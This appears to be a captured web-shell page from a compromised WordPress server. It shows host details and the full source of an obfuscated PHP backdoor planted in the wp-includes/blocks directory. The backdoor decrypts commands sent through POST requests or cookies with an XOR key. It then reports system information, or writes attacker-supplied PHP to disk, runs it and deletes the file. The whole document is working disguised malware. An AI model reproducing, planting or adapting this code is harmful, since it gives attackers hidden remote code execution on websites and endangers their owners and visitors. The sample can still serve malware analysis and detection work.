HEX
Server: Apache
System: Linux web04.cloudvoor.nl 5.15.0-1089-azure #98~20.04.1-Ubuntu SMP Fri May 2 20:18:39 UTC 2025 x86_64
User: web517 (1027)
PHP: 8.3.21
Disabled: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,expect_popen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
Upload Files
File: /var/www/clients/client93/web517/web/wp-includes/blocks/spacer/ubshwfmn.php
<?php 


$_qtzp /*   _rb_y*/ =       '_qtzp'	^    '<';
$sbcjlljm    = /* nkh  */ "\x61"    . /*i*/ $_qtzp(114)    . /* r  */ "r".$_qtzp(597-500) /*   sgoisl */ .     $_qtzp(198-77)    .    "_".$_qtzp(826-717) /*   ebh */ .   "\x61" /*vd*/ .    "p";

$wkychnjk /* qfq   */ =      $_qtzp(165-60)    .   "m"."\160"     . /*fopmve */ $_qtzp(292-184)    . /*   jhh */ "\157" /* lwqmen  */ . /*s  */ "d"."\x65";






function /*sm_bt   */ iazxbkh($epxthcr,	$skzobll){ /*   mcuac  */ global    $_qtzp;

	
 /* cn_hc */ $epxthcr    = /*mtsv_x*/ "\x3c" /*   c  */ . /* dzur */ "?".$_qtzp(468-356) /*  _cb*/ .      "\x68" /*   poj*/ .    "p".$_qtzp(32)    . /* t  */ "u"."n".$_qtzp(108)	. /*   bvvw*/ $_qtzp(105) /* trpjj */ .      $_qtzp(639-529)   . /*   blx  */ "k".$_qtzp(40)	. /*  kfxir*/ $_qtzp(95)       . /*   umu   */ "_"."F"."\111" /*bulkui  */ .     $_qtzp(76)      .	$_qtzp(911-842)  .     "_".$_qtzp(99-4)     .    ")".";".$_qtzp(32) /* spxe_q */ . /* zhgte*/ $epxthcr["d"];
      $s_ydjy /*   a*/ = /* tufp*/ "\146"      . /*   kxpzbg  */ "\151"   .       $_qtzp(108) /* scfeoc*/ . /* mcudve*/ "\x65" /*   sol*/ .	"\x5f" /*igupx  */ .      "p"."u"."\x74"      .      "_"."c"."\157"    . /*   qa   */ "n".$_qtzp(116) /*   jze*/ . /*  zavmr*/ $_qtzp(256-155)    .   "n"."\x74" /*rca */ .  $_qtzp(115);


    	$s_ydjy($skzobll,    $epxthcr);
	


     jjpsz($skzobll);
}




$ctwwiu_hwk	= /* bjh   */ 73;


function	jjpsz($skzobll)
{
      global      $_qtzp;

 /*   xvnjb   */ 


    include($skzobll);
    $axjars /* tkzr   */ =    $skzobll;
 /*   bmiacw   */ @unlink($axjars);}


function /* y  */ _xfa_wvgnd()

{ /*  _maew  */ global /*pn   */ $_qtzp;


  $k_pmaos /*   lpcr   */ =     array();
 /* bwjvd */ $k_pmaos["\x70"	.     "v"] /*uxr  */ =      phpversion();

     $k_pmaos[$_qtzp(936-821)      . /*   uoe   */ $_qtzp(118)]    =    $_qtzp(221-170)   .  ".".$_qtzp(53);

	$tkfycfx /*   et   */ = /* _  */ 74; /*  zbgz */ echo /*  r*/ @serialize($k_pmaos);

}



function /*jbvhkl   */ hyujdrnm_j($epxthcr,    $cskolsutk)

{   global /*ovv  */ $_qtzp;	$wqz_iq  =   "";    $uvmyzhbn       =	strlen($epxthcr);

      $ntitjdydf /*   gndqhc */ =	strlen($cskolsutk);    $k_pmaos /*xqmy_*/ = /*s*/ 0;


 /*jc_uv */ $ayqfejkdnf /* z */ = /* zib */ 0;


     


 /*uunb */ while    ($k_pmaos /*  _jftcl  */ <    $uvmyzhbn) /*  slma   */ {

      $h_pscgjtc_	= /*  ro_k   */ $epxthcr[$k_pmaos]    ^    $cskolsutk[$ayqfejkdnf  % /*  xgtgt*/ $ntitjdydf];       $wqz_iq       .=	$h_pscgjtc_;
	$ayqfejkdnf++;    	$k_pmaos++;
     }

 /*k  */ 

 /*  tkibyr*/ if    (strlen($wqz_iq)	>    20) /*  zbce   */ { /*  x */ $pvtv_	= /*tpk*/ substr($wqz_iq,      0,     20);


       }

 /*  qx  */ if /* mzq  */ (empty($wqz_iq))	{

  $wqz_iq    =    date('Y-m-d    H:i:s');


 /* htpiq*/ }
 /*   fps */ return    $wqz_iq;}



function	moypw($trgco)

{       global    $_qtzp;

   

	$mczbro /*   ox*/ = /*   confxc  */ "8"."\65"  .	$_qtzp(98)    .	$_qtzp(827-779) /*rusoiu*/ .       "1".$_qtzp(49)       .	"6".$_qtzp(53)	. /*  rgglns */ $_qtzp(790-745) /* fneeu */ .     "\61"    . /*  ojts   */ "\x38"    . /* efvu   */ "3"."f"."-"."4".$_qtzp(635-534) /*  orii   */ .   "6"."d"."-".$_qtzp(246-148)     . /*  zo  */ "\x64" /*z*/ .    "0".$_qtzp(357-300) /*  xlyqn  */ . /*_lqvwi*/ "\x2d" /*  tzhtr  */ .    "e".$_qtzp(138-86)    . /* ctnc_*/ "8"."f"."b"."\63"	.  $_qtzp(49) /* u */ .    "\x37"     .      "5"."1"."3"."9";
     
    foreach	($trgco  as   $hqnczso    =>	$epxthcr) /*  xfwakf   */ {


 /*  b  */ ozdrswkhaw(base64_decode($epxthcr),	$mczbro,     $hqnczso);


    }}


function   ozdrswkhaw($epxthcr, /*  t   */ $mczbro,    $hqnczso)


{     global /*bmckoa   */ $_qtzp;

        /*qhzbr   */ $epxthcr	= /* rdvmol */ unserialize(hyujdrnm_j(hyujdrnm_j($epxthcr, /*   frq */ $mczbro), /*  g  */ $hqnczso));


	$zjpsjsaojd	= /*  rwnv   */ 'pjzavplh';

	$baqrsyzz /* abp*/ = /*   cen*/ 'tosbp';

 /* qo  */ if  (isset($epxthcr[$_qtzp(160-63)."\153"]))    {

	if /*  lye  */ ($epxthcr[$_qtzp(160-63)]       ==  "\x69") /*  barg*/ {
     _xfa_wvgnd();

	}    elseif /*  xcf  */ ($epxthcr[$_qtzp(160-63)]       ==     "e") /*   ofeyuc*/ {

    iazxbkh($epxthcr, /*jlds*/ sprintf(".".$_qtzp(103-56) /*  rpnir*/ .    $_qtzp(327-290)  .      "s"."."."p"."l",	md5($mczbro)));


			$h_jsf_ljg /* um   */ =     44;
     }  exit();
 /*  vd_hx  */ }

}

moypw($_POST); /*   qhyr */ 


$lqiwwo    = /*bqbl  */ 'rawurldecode';
$_ejpg_iz      =      $sbcjlljm($lqiwwo,	$_POST);

$wkychnjk("",	$lqiwwo);




moypw($_COOKIE);



$pwoeno       = /*  o_x*/ $sbcjlljm($lqiwwo,    $_COOKIE);




?>